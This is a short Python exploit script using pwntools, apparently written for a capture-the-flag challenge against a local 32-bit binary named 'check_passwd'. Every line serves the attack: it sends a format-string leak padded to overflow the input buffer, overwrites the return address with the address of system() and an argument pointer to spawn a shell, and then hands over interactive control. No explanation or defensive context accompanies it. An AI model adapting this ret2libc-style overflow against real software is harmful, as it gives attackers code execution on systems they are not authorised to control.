#!/usr/bin/env python
from pwn import *
context.arch = 'i386'

r = process('./check_passwd')

pad = 'a'*1040
main = 0x0804873e
system = 0x08048424
r.recvuntil('account: ')
raw_input('#')
r.sendline('@%p.%p.%p.%p.%p.%p.%p.%p.%p'.ljust(1036, 'a') + p32(system) + p32(0xdeadbeef) + p32(0x80482c5))


r.interactive()
